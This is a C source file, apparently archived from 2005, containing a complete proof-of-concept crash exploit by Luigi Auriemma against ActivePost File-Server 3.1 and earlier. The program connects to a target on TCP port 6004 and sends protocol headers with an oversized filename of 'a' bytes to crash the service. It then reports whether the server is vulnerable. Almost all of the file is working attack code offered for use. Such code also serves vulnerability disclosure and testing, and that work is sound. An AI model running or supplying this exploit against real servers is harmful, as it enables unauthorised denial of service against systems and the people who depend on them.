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actpboom.c
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Wrap
C/C++ Source or Header
|
2005-02-12
|
3KB
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169 lines
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#endif
#define VER "0.1"
#define PORT 6004
#define BUFFSZ 4104 /* don't modify! */
#define TIMEOUT 3
#define SEND if(send(sd, buff, BUFFSZ, 0) \
< 0) std_err();
#define RECV for(tot = 0; tot < BUFFSZ; tot += len) { \
len = recv(sd, buff + tot, BUFFSZ - tot, 0); \
if(len < 0) std_err(); \
if(!len) break; \
}
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
tot;
u_short port = PORT;
u_char buff[BUFFSZ];
setbuf(stdout, NULL);
fputs("\n"
"ActivePost File-Server <= 3.1 crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\nUsage: %s <server> [port(%d)]\n"
"\n", argv[0], PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("\n- target %s:%hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
memset(buff, 0x00, BUFFSZ);
fputs("- send first header\n", stdout);
*(u_long *)buff = 0x1f5;
SEND;
RECV;
fputs("- send filename (BOOM)\n", stdout);
*(u_long *)buff = 0x1f6;
memset(buff + 8, 'a', BUFFSZ - 8);
SEND;
RECV;
memset(buff, 0x00, BUFFSZ);
fputs("- send file data (none)\n", stdout);
*(u_long *)buff = 0x1f8;
SEND;
fputs("- send final header\n", stdout);
*(u_long *)buff = 0x1f9;
SEND;
if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) < 0)) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif